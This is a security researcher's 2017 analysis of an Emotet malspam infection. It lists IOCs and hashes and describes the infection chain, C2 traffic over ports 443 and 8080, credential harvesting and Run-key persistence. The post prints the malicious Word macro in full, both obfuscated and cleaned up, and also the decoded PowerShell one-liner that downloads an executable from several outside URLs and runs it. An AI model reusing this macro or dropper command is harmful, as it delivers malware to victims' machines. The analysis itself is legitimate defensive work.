2017-07-25 Malspam Leading To Emotet Malware

Today’s post is based on a malicious email that I saw in out email filters. The email (seen below) had a simple link in it that took the user to a site that automatically started a download of a malicious Word document. Odd thing is that when you visited the site in IE8, it would not allow you to connect. The link seemed to work just fine in Chrome or via Malzilla.

From what I am able to gather based on the network traffic within the PCAP files along with the results from the Virustotal and Hybrid-Analysis links, it looks as if this is a Emotet infection. This infection does not match all the patterns of Emotet that I have seen before. In this example, the only GET request is to get the first malicious binary (I am assuming that there was another GET request which pulled the other file down – more on that in a bit). From there, all recorded communications are done via POSTs using ports 443 or 8080 where in the other examples that I have seen, the GET requests were the ones that would have the cookie set and the fake 404 page being returned. The only common pattern between this and the other Emotet examples I have seen are the callbacks to the malicious IP addresses using port 8080.

All artifacts, PCAP files, and the Process Monitor log can be found in my Github repo which you can find here.

IOCs:
=====
pkfans.com / 216.14.208.111
siindia.in / 103.240.104.231 (TCP:80)
www.todofrog.com / 194.132.50.54
segurodecenalsinoct.segurox.es / 185.123.204.173
rgv2.com / 192.185.244.211
gracetheweb.co.uk / 91.121.84.118
178.79.132.214 (TCP:443)
158.69.199.223 (TCP:8080)
192.241.222.53 (TCP:443)

Artifacts:
==========
File name: GWTQ747195.doc
File size: 96KB
MD5 hash: d43707dea7acb647d1394ec60a8a9460
Virustotal: http://virustotal.com/en/file/47332bd975efe20e32dd5640ec2c87f13f60fe752d9c06dbc8eae01ea81c23c2/analysis/
Detection ratio: 4 / 57
First submission: 2017-07-25 06:33:47 UTC
Malwr (latest submission): http://malwr.com/analysis/NDlhMDcxOWNmODRiNGEzY2JlZTNiNDkyNDRlOWE5NjE/
Hybrid-Analysis: http://www.reverse.it/sample/47332bd975efe20e32dd5640ec2c87f13f60fe752d9c06dbc8eae01ea81c23c2?environmentId=100

File name: 12721.exe
File size: 160KB
File path: C:\Users\%username%\AppData\Local\Temp
MD5 hash: dd7a7d9fac4cd59536a050c536e8719a
Virustotal: http://virustotal.com/en/file/b3c292e9504aa6934dfdbaa2a180df2eca1af46a92a2a2b907250d965c3c3f36/analysis/
Detection ratio: 15 / 64
First submission: 2017-07-25 09:37:04 UTC
Malwr: NA
Hybrid-Analysis: http://www.reverse.it/sample/b3c292e9504aa6934dfdbaa2a180df2eca1af46a92a2a2b907250d965c3c3f36?environmentId=100

File name: wlanwin.exe
File size: 160KB
File path: C:\Users\%username%\AppData\Local\Microsoft\Windows\
MD5 hash: dd7a7d9fac4cd59536a050c536e8719a
Virustotal: http://virustotal.com/en/file/b3c292e9504aa6934dfdbaa2a180df2eca1af46a92a2a2b907250d965c3c3f36/analysis/
Detection ratio: 15 / 64
First submission: 2017-07-25 09:37:04 UTC
Malwr: NA
Hybrid-Analysis: http://www.reverse.it/sample/b3c292e9504aa6934dfdbaa2a180df2eca1af46a92a2a2b907250d965c3c3f36?environmentId=100

File name: KB21091875.exe
File size: 191KB
File path: C:\Users\%username%\AppData\Local\Temp
MD5 hash: fcfab755b242536de1bbda1d8e0f560a
Virustotal: http://virustotal.com/en/file/f9b044b65b9a2f9fff2920cdf78ad73bbbdc215d81dac65968f5f284b09bbf1b/analysis/
Detection ratio: 14 / 63
First submission: 2017-07-25 12:36:56 UTC
Malwr: NA
Hybrid Analysis: http://www.reverse.it/sample/f9b044b65b9a2f9fff2920cdf78ad73bbbdc215d81dac65968f5f284b09bbf1b?environmentId=100

Analysis:
=========
This infection is a pretty standard infection vector for end-users as you can see in the image below. The user clicks on the link in the email and downloads a Word document that has a malicious macro in it. Using OfficeMalScanner, I was able to pull out the pertinent parts from the Word document that OfficeMalScanner deemed malicious.

Looking at the files that OfficeMalScanner was able to produce, I started with the one called “This Document” since this is the start of a macro within a Word document. Below is the contents of that file:

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
	PRekl = "cG93ZXJzaGVsbCAt"
	JcsmLFtP = "V2luZG93U3R5bGUgSGlkZGVuICR3c2NyaXB0ID0gbmV3LW9iamVjdCAtQ29tT2JqZWN0IFdT"
	snWqf0 = "Y3JpcHQuU2hlbGw7JHdlYmNsaWVudCA9I"
	p6Fjxva = PRekl & JcsmLFtP & snWqf0
	Jzo4Ht3V = "jaCgkdXJsIGluICR1cmxzKXt0cnl7JHdlYmNsaWVudC5Eb3dubG9hZEZpbGUoJHVybC5Ub1N"
	gsoVWb = "0cmluZygpLCAkcGF0aCk7U"
	G5AtFf3LO = Jzo4Ht3V & gsoVWb
	aj04c = "G5ldy1vYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JH"
	SY1KOT = "JhbmRvbSA9IG5ldy1vYmplY3QgcmFuZG9tOyR1"
	my2FUgcR = "cmxzID0g"
	CMzLkgQ = "J2h0dHA6Ly9zaWluZGlh"
	HBzLujm = aj04c & SY1KOT & my2FUgcR & CMzLkgQ
	v06idMrR = "LmluL29hZ2NtZ2dwYS8saHR0cDovL3d3dy50b2RvZnJvZy5jb20vcHpway8saHR0cDovL3Nl"
	cVInx = "Z3Vyb2RlY2VuYWxzaW5vY3Quc2VndXJveC5lcy9nbi8saHR0cDovL"
	ZVfcRrWvg = v06idMrR & cVInx
	xZnKJq9h = "3Jnd"
	rcO8LUIa = "jIuY29tL3dqYmxud3kvLGh0dHA6Ly9ncmFjZXRoZXdlYi5jby51ay9jZHliaC8nLlNwbGl0KCcsJyk7"
	Ui3Zz = xZnKJq9h & rcO8LUIa
	IFihGa = "JG5hbWUgPSAkcmFuZG9tLm5leHQoMSwgNjU1MzYpOyRwYXRo"
	ZpqxNk = "ID0gJGVudjp0ZW1wICsgJ1wnICsgJG5hbWUgKyAnLmV4ZSc7Zm9yZWF"
	Q3KrneVxB = IFihGa & ZpqxNk
	iEJxgcqn = "Q="
	dKopwt6Nm = Chr(61)
	KW6P7X = iEJxgcqn & dKopwt6Nm
	btk0pUY = "3RhcnQtUHJvY2VzcyAkcGF0aDticmVhazt9Y2F0Y2h7d3JpdGUtaG9zdCAkXy5FeGNlcHRpb24uTWVzc2FnZT"
	GqEx5ut = "t9f"
	AuO5hG = btk0pUY & GqEx5ut
	UT1HW = p6Fjxva & HBzLujm & ZVfcRrWvg & Ui3Zz & Q3KrneVxB & G5AtFf3LO & AuO5hG & KW6P7X
	Call runm(UT1HW)
End Sub

Below is the cleaned up version:

Sub Document_Open()
	PRekl = "cG93ZXJzaGVsbCAt"
	JcsmLFtP = "V2luZG93U3R5bGUgSGlkZGVuICR3c2NyaXB0ID0gbmV3LW9iamVjdCAtQ29tT2JqZWN0IFdT"
	snWqf0 = "Y3JpcHQuU2hlbGw7JHdlYmNsaWVudCA9I"
	p6Fjxva = cG93ZXJzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuICR3c2NyaXB0ID0gbmV3LW9iamVjdCAtQ29tT2JqZWN0IFdTY3JpcHQuU2hlbGw7JHdlYmNsaWVudCA9I

	Jzo4Ht3V = "jaCgkdXJsIGluICR1cmxzKXt0cnl7JHdlYmNsaWVudC5Eb3dubG9hZEZpbGUoJHVybC5Ub1N"
	gsoVWb = "0cmluZygpLCAkcGF0aCk7U"
	G5AtFf3LO = jaCgkdXJsIGluICR1cmxzKXt0cnl7JHdlYmNsaWVudC5Eb3dubG9hZEZpbGUoJHVybC5Ub1N0cmluZygpLCAkcGF0aCk7U

	aj04c = "G5ldy1vYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JH"
	SY1KOT = "JhbmRvbSA9IG5ldy1vYmplY3QgcmFuZG9tOyR1"
	my2FUgcR = "cmxzID0g"
	CMzLkgQ = "J2h0dHA6Ly9zaWluZGlh"
	HBzLujm = G5ldy1vYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJhbmRvbSA9IG5ldy1vYmplY3QgcmFuZG9tOyR1cmxzID0gJ2h0dHA6Ly9zaWluZGlh

	v06idMrR = "LmluL29hZ2NtZ2dwYS8saHR0cDovL3d3dy50b2RvZnJvZy5jb20vcHpway8saHR0cDovL3Nl"
	cVInx = "Z3Vyb2RlY2VuYWxzaW5vY3Quc2VndXJveC5lcy9nbi8saHR0cDovL"
	ZVfcRrWvg = LmluL29hZ2NtZ2dwYS8saHR0cDovL3d3dy50b2RvZnJvZy5jb20vcHpway8saHR0cDovL3NlZ3Vyb2RlY2VuYWxzaW5vY3Quc2VndXJveC5lcy9nbi8saHR0cDovL

	xZnKJq9h = "3Jnd"
	rcO8LUIa = "jIuY29tL3dqYmxud3kvLGh0dHA6Ly9ncmFjZXRoZXdlYi5jby51ay9jZHliaC8nLlNwbGl0KCcsJyk7"
	Ui3Zz = 3JndjIuY29tL3dqYmxud3kvLGh0dHA6Ly9ncmFjZXRoZXdlYi5jby51ay9jZHliaC8nLlNwbGl0KCcsJyk7

	IFihGa = "JG5hbWUgPSAkcmFuZG9tLm5leHQoMSwgNjU1MzYpOyRwYXRo"
	ZpqxNk = "ID0gJGVudjp0ZW1wICsgJ1wnICsgJG5hbWUgKyAnLmV4ZSc7Zm9yZWF"
	Q3KrneVxB = JG5hbWUgPSAkcmFuZG9tLm5leHQoMSwgNjU1MzYpOyRwYXRoID0gJGVudjp0ZW1wICsgJ1wnICsgJG5hbWUgKyAnLmV4ZSc7Zm9yZWF

	iEJxgcqn = "Q="
	dKopwt6Nm = Chr(61)
	KW6P7X = Q==

	btk0pUY = "3RhcnQtUHJvY2VzcyAkcGF0aDticmVhazt9Y2F0Y2h7d3JpdGUtaG9zdCAkXy5FeGNlcHRpb24uTWVzc2FnZT"
	GqEx5ut = "t9f"
	AuO5hG = 3RhcnQtUHJvY2VzcyAkcGF0aDticmVhazt9Y2F0Y2h7d3JpdGUtaG9zdCAkXy5FeGNlcHRpb24uTWVzc2FnZTt9f

	UT1HW = cG93ZXJzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuICR3c2NyaXB0ID0gbmV3LW9iamVjdCAtQ29tT2JqZWN0IFdTY3JpcHQuU2hlbGw7JHdlYmNsaWVudCA9IG5ldy1vYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJhbmRvbSA9IG5ldy1vYmplY3QgcmFuZG9tOyR1cmxzID0gJ2h0dHA6Ly9zaWluZGlhLmluL29hZ2NtZ2dwYS8saHR0cDovL3d3dy50b2RvZnJvZy5jb20vcHpway8saHR0cDovL3NlZ3Vyb2RlY2VuYWxzaW5vY3Quc2VndXJveC5lcy9nbi8saHR0cDovL3JndjIuY29tL3dqYmxud3kvLGh0dHA6Ly9ncmFjZXRoZXdlYi5jby51ay9jZHliaC8nLlNwbGl0KCcsJyk7JG5hbWUgPSAkcmFuZG9tLm5leHQoMSwgNjU1MzYpOyRwYXRoID0gJGVudjp0ZW1wICsgJ1wnICsgJG5hbWUgKyAnLmV4ZSc7Zm9yZWFjaCgkdXJsIGluICR1cmxzKXt0cnl7JHdlYmNsaWVudC5Eb3dubG9hZEZpbGUoJHVybC5Ub1N0cmluZygpLCAkcGF0aCk7U3RhcnQtUHJvY2VzcyAkcGF0aDticmVhazt9Y2F0Y2h7d3JpdGUtaG9zdCAkXy5FeGNlcHRpb24uTWVzc2FnZTt9fQ==

	Call runm(UT1HW)
End Sub

As seen from the cleaned up code above, everything is base64 encoded. There is a call for the function “runm” which passes the parameter of “UT1HW” which is also the last variable in the sub-routine. All the other files are junk at this point and can be ignored/excluded.

Knowing that the code is all in this one file, and that it is all base64 encoded, all that is needed is to run this through a base64 decoder. The following is the base64 code decoded:

powershell -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$random = new-object random;$urls = 'http://siindia.in/oagcmggpa/,http://www.todofrog.com/pzpk/,http://segurodecenalsinoct.segurox.es/gn/,http://rgv2.com/wjblnwy/,http://gracetheweb.co.uk/cdybh/'.Split(',');$name = $random.next(1, 65536);$path = $env:temp + '\' + $name + '.exe';foreach($url in $urls){try{$webclient.DownloadFile($url.ToString(), $path);Start-Process $path;break;}catch{write-host $_.Exception.Message;}}

So now we know that this malicious Word document is using Powershell to reach out to the above mentioned URLs to work as a dropper. Knowing this, I decided to run the Word document to see what would happen. From the network side of things, this looks to be pretty straight forward as seen below:

The script reaches out to the domain “siindia[.]in” to grab a malicious binary:

GET /oagcmggpa/ HTTP/1.1
Host: siindia.in
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Tue, 25 Jul 2017 10:25:06 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Content-Disposition: attachment; filename="w.exe"
Content-Transfer-Encoding: binary
Connection: close
Transfer-Encoding: chunked
Content-Type: application/octet-stream

2000
MZ......................@.............................................	.!..L.!This program cannot be run in DOS mode.

$..........w..i$..i$..i$...$..i$...$..i$..h$..i$.W.$..i$...$..i$...$..i$...$..i$Rich..i$................PE..L.....vY..............

Then there is some communication back to the IP address of 178.79.132.214 over port 443 via two POST commands. This is NOT encrypted traffic even though it is over port 443 and made to look like it goes to a dead page (returns a 404 HTTP code even though there is 437524 bytes returned for example). Note that while this is not encrypted HTTPS traffic, the communication is encrypted/encoded.

From STREAM 1
-------------
POST / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)
Host: 178.79.132.214:443
Content-Length: 436
Connection: Keep-Alive
Cache-Control: no-cache

..Z.)._.!)..f,.$+.....@...j.........rZ.T-.j....Jw....:.K....J.....hv&$.R...S1.2.T...Hb...Y@.`.QC)...
.i(..
....N.[w.Ey.
..IIs.@.7l+<..0.c..	..,....MX.#.)O.......'...rZ.93f.......
.<........B"=.. @~./..>.y..Q..Wd...4u.+.......t:fRZ4....80...z!*....^0...<u(.M.v..T....DN.$...h..o..3Q..[=
B.Pr...~.L.v..]I..Ea..\...........Z?.#.u........A#....\y..O...`BT...J.@NIN.l...aS..w.b....[S..O0}QY..l..l...k`...t.n..8(7......\0	h...B..l>.K....*s.cO

HTTP/1.1 404 Not Found
Server: nginx
Date: Tue, 25 Jul 2017 10:25:19 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 437524
Connection: keep-alive

.D.....m.>...Q.....<./+.!..8.....47..U.QM.....tDv0.9k..U.0..C..>....a.E....!.U...J....G.._CW?.0.....3.....[H{.g...H........TR.xx........q%.D......O.`	....R.I....^..J1..Z%.....P.4EI...yI.e.(..z>..8G...H.~.O.J..9|...Lj.o...)1..
...&:...>.J.....a...n........yB....m......F........>.	..-........X..!s....u....
..z..F...En.^...NX..7...'.%.......\..2.....<K:E..[.~......pc

-----

POST / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)
Host: 178.79.132.214:443
Content-Length: 452
Connection: Keep-Alive
Cache-Control: no-cache

.U.......2....).f....6t......[.....E.^......S."..U.m.vr.so(...i.....P............O..dU.:..]..Y:..e;.n..b...o.@...:..Y.`2.D.5.T........v.K..7,...+......Q...w._.t.-.....f....b....L....O..G.J..0.....w.Cf..y.	.......g.ma.D...o..D.<.....,.....\H....TE6B..d.....e*..7...(...~1..........N.%a|.pkK.d....L,....<...O..;w\....xC./............N....i...g#..+....W.2W.........LY.H.....a... ..0=k.H.c.X....#"
..q....7!.CB....>...M.P..Q..W.4.....R.....<.F...U......@..

HTTP/1.1 404 Not Found
Server: nginx
Date: Tue, 25 Jul 2017 10:25:22 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 148
Connection: keep-alive

.U..!....M.=.....Vy..a..j..*.V3..$......,..|..mE..J....{..9.-....`3^.L...,..T..,W.....1.........P!c.J.i...w......./..] ......K..x~..dg.	&LHk..N;tS7b

-----

From STREAM 2
-------------
POST / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)
Host: 192.241.222.53:443
Content-Length: 276
Connection: Keep-Alive
Cache-Control: no-cache

u..........^g..v.......Rzb....."oA.P...B.?..MV.Ssp.	]."...K@e.\...Y.l\[A.:T.I@..B.T..v..1].'..E]...`g.6..|\. ....EO.....&.Zn....c.(..Q.1q.....qj
.J..Iu.o...t $..b....t.n.:.g.b...%y..I.........m_.~4.......&..U0qX?....)MA.Y...-...uN|.e.....Y!....e 8.vi...P..$C.ce...z.0(.c..<.].

HTTP/1.1 404 Not Found
Server: nginx
Date: Tue, 25 Jul 2017 10:25:37 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 148
Connection: keep-alive

9..f./.%......r...M>.6..3S....x.>%..a.]O..iI.4|............8s..4:......[H;...(....)..Sww.m.py..D[.,j..{<...CX.E;....V......`.O...&..........`....g..

From the host side, this seems to be pretty straight-forward as well. Once the malicious macro has run, it used Powershell (as seen above) and pulled down the file 12721.exe (randomly generated name saved to C:\Users\%username%\AppData\Local\Temp) which proceeded to open and close several instances of itself before opening a new process called “wlanwin.exe” in a new directory (C:\Users\%username%\AppData\Local\Microsoft\Windows\). This new file then proceeds to clone itself and start a new process while killing off the old processes (very much like the 12721.exe process did). The last “wlanwin.exe” can be seen in a “CLOSE_WAIT” status connected to the IP address of 178.79.132.214. I also saw that “wlanwin.exe” wrote to three files called “FF36.tmp,” “FF37.tmp,” and “FF57.tmp” in the “C:\ProgramData” folder but I was not able to capture those files since the “wlanwin.exe” process deleted the files.

When looking at the two files (12721.exe and wlanwin.exe) themselves, they are the same size and also have the same hash so most likely the code behind 12721.exe instructs a clone of itself to be made to a new directory with a new name.

I also noticed within the Process Monitor logs that wlanwin.exe (PID: 3028) scanned the system looking for various things (ie: C:\Users\%username%\AppData\Local\Google\Chrome\User Data\Default\Web Data) looking for what I can only assume are credentials stored in Chrome while wlanwin.exe (PID: 2192) was looking for other bits from Outlook and some other pieces of software like Thunderbird, and Microsoft Mail. I also noticed a pattern when looking at all the different “wlanwin.exe” processes. It looked like whenever one of the “wlanwin.exe” processes was looking at different registry keys/file locations for user credentials and such, it would write to the FF*.tmp file and then close that file as you can see below:

Persistence is obtained on the system by “wlanwin.exe” writing to the “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” key.

Name: wlanwin.exe
PID: 2368
Date: 7/25/2017 11:25:23 AM
Path: "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\wlanwin"
Operation: RegSetValue
Result: Success
Type:	REG_SZ
Length:	120
Data:	"C:\Users\Bill\AppData\Local\Microsoft\Windows\wlanwin.exe"

After a while of just letting the VM sit there and continue to communicate out, I came back to it to discover that another file in the TEMP folder had been created (KB21091875.exe) and that it was talking out to the IP address of 158.69.199.223 over port 8080. Since I had already turned off everything I was not able to see what or how this new file got onto my VM. I opened up Wireshark to see if I could get some more information about this new IP address via port 8080. The PCAP from this run is called “2017-07-25 Emotet-2.pcap” for reference. From what I could see, this looks to be the same as the above POSTs but now to a couple more IP addresses.

POST / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)
Host: 158.69.199.223:8080
Content-Length: 388
Connection: Keep-Alive
Cache-Control: no-cache

.-...l8.}
l......
z...s...p...>$.....LNG$d.*.g..24.....P..ku....gZ...?YC.K.r.q...bE0 .....i...a)....bVx..L>..18...]+...P.n;?..E..amp-..m...J.w'|.7f
-....d.	..r....T.6...{q........8...is..J..z.......z...d....I..?.......#..a.....c/M`.D...I..^SNs .......=.)...s.........#..T.V...Z"[q{.......T4...;s.&.S.(.U..g..,.....*..1^.Q..Hy.E$.#..N.
.......I.a.<..3..!i7.....&tI..l....;......Z..........

HTTP/1.1 404 Not Found
Server: nginx
Date: Tue, 25 Jul 2017 13:27:16 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 153796
Connection: keep-alive

YI...V%..6.-..5!..H.t....W..A(,...J........(X...L...T...Q.1...b..:..pG.@.Z....0@.9F.V..W...C".i..cr5..

I forgot to grab a screen shot of KB21091875.exe running on my VM before rebooting the system to see what would happen after a reboot. Once my VM was back up and running from the reboot, I saw more of the same type of network behavior that I mentioned above and nothing else new.

I have also recorded the infection and posted it over on my Youtube channel which you can find here and below.